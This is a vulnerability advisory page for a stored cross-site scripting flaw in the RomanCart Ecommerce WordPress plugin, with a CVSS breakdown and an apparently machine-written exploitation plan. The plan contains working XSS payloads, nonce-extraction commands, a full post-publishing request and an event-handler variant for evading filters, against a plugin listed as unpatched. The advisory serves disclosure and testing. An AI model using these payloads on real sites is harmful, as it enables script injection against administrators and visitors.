CVE-2026-8880

RomanCart Ecommerce <= 2.0.8 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The RomanCart Ecommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'blclass' attribute (and other attributes) of the romancart_button shortcode in versions up to, and including, 2.0.8. This is due to insufficient input sanitization and output escaping on user supplied attributes within the romancart_button_shortcode() function. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.0.8
PublishedJune 8, 2026
Last updatedJune 9, 2026
Affected pluginromancart-ecommerce
Research Plan
Unverified

This exploitation research plan focuses on **CVE-2026-8880**, a Stored Cross-Site Scripting (XSS) vulnerability in the RomanCart Ecommerce plugin for WordPress. ### 1. Vulnerability Summary The `romancart_button` shortcode in the RomanCart Ecommerce plugin (versions <= 2.0.8) is vulnerable to Store…

Show full research plan

This exploitation research plan focuses on CVE-2026-8880, a Stored Cross-Site Scripting (XSS) vulnerability in the RomanCart Ecommerce plugin for WordPress.

1. Vulnerability Summary

The romancart_button shortcode in the RomanCart Ecommerce plugin (versions <= 2.0.8) is vulnerable to Stored XSS. The vulnerability exists within the romancart_button_shortcode() function, which fails to sanitize or escape user-supplied attributes—specifically the blclass attribute—before reflecting them in the HTML output of a post or page. Since Contributors can create and edit posts containing shortcodes, they can inject malicious scripts that execute in the context of any user (including administrators) who views the affected page.

2. Attack Vector Analysis

  • Authentication Level: Authenticated (Contributor or higher).
  • Injection Point: Post/Page content via the WordPress Editor (Gutenberg or Classic).
  • Vulnerable Component: Shortcode [romancart_button].
  • Vulnerable Parameter: blclass attribute.
  • Preconditions: The plugin must be active, and the attacker must have permissions to save a post (Draft or Published).

3. Code Flow (Inferred)

  1. Registration: The plugin registers the shortcode during the init hook:
    add_shortcode('romancart_button', 'romancart_button_shortcode');
  2. Shortcode Processing: When a page containing the shortcode is rendered, do_shortcode() invokes the callback romancart_button_shortcode($atts).
  3. Attribute Handling (Vulnerable Sink): The function likely extracts attributes without applying esc_attr() or sanitize_html_class().
    • Inferred Logic:
      function romancart_button_shortcode($atts) {
          $atts = shortcode_atts(array('blclass' => '', ...), $atts);
          $class = $atts['blclass']; // No sanitization
          return '<button class="' . $class . '">Buy Now</button>'; // No escaping
      }
      
  4. Output: The unescaped HTML is returned to the WordPress content filter and rendered in the user's browser.

4. Nonce Acquisition Strategy

To exploit this stored XSS, the attacker must submit a post containing the malicious shortcode. This requires the standard WordPress post-editing nonce (_wpnonce).

  1. Navigate to Editor: Use browser_navigate to access the "New Post" page: /wp-admin/post-new.php.
  2. Identify Nonce: The nonce is stored in a hidden input field with the ID _wpnonce.
  3. Extraction:
    • Use browser_eval to retrieve the nonce:
      browser_eval("document.querySelector('#_wpnonce').value")
      
    • For Gutenberg-based editors, the nonce may also be found in the wpApiSettings object:
      browser_eval("window.wpApiSettings.nonce")
      
  4. Verification: If the plugin uses a specific AJAX handler for shortcode previews, look for a localized variable (e.g., romancart_vars.nonce), though this is unnecessary for the primary storage vector.

5. Exploitation Strategy

The goal is to store a shortcode attribute that breaks out of the HTML class attribute to inject a script.

  1. Authentication: Login to the WordPress instance as a user with the contributor role.
  2. Acquire Nonce: Follow the steps in Section 4 to obtain the _wpnonce.
  3. Prepare Payload:
    • The payload uses a double-quote to close the class attribute, followed by an XSS vector.
    • Payload: [romancart_button blclass='"><script>alert(document.domain)</script>']
  4. Submit Request: Use the http_request tool to create a post.
    • Method: POST
    • URL: https://<target>/wp-admin/post.php
    • Headers: Content-Type: application/x-www-form-urlencoded
    • Body Parameters:
      • action: editpost
      • post_ID: <ID_FROM_POST_NEW_PAGE>
      • _wpnonce: <EXTRACTED_NONCE>
      • post_title: Product Page
      • content: [romancart_button blclass='"><script>alert(document.domain)</script>']
      • post_status: publish (or draft for preview-based exploitation)
  5. Trigger Execution: Navigate to the URL of the newly created post as an Administrator.

6. Test Data Setup

  1. User Creation:
    wp user create attacker attacker@example.com --role=contributor --user_pass=password123
  2. Plugin Installation: Ensure RomanCart Ecommerce version 2.0.8 is installed and active.
  3. Target Page: Identify the ID of a draft post created by the contributor for the editpost action.

7. Expected Results

  • Stored State: The wp_posts table will contain the literal shortcode string in the post_content column.
  • Rendered Output: When viewing the page source, the following HTML will be present:
    <button class=""><script>alert(document.domain)</script>">Buy Now</button>
  • Execution: A JavaScript alert showing the site's domain will trigger upon page load.

8. Verification Steps

  1. Database Check:
    wp post get <POST_ID> --field=post_content
    Verify the shortcode and payload are stored.
  2. Frontend Inspection:
    Use http_request (GET) to the post's permalink and search for the <script> tag in the response body.

9. Alternative Approaches

  • Event Handler Injection: If <script> tags are filtered by a WAF, use an event handler:
    blclass='x" onmouseover="alert(1)" style="width:1000px;height:1000px;display:block;"'
  • Other Attributes: The vulnerability description mentions "other attributes." If blclass is patched, test parameters like storeid, itemname, or price for similar lack of escaping in the romancart_button_shortcode() function.
  • Classic Editor vs. Gutenberg: If the block editor's REST API endpoint is used, the nonce and endpoint (/wp-json/wp/v2/posts/<ID>) will change, but the core vulnerability in the shortcode rendering remains the same.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.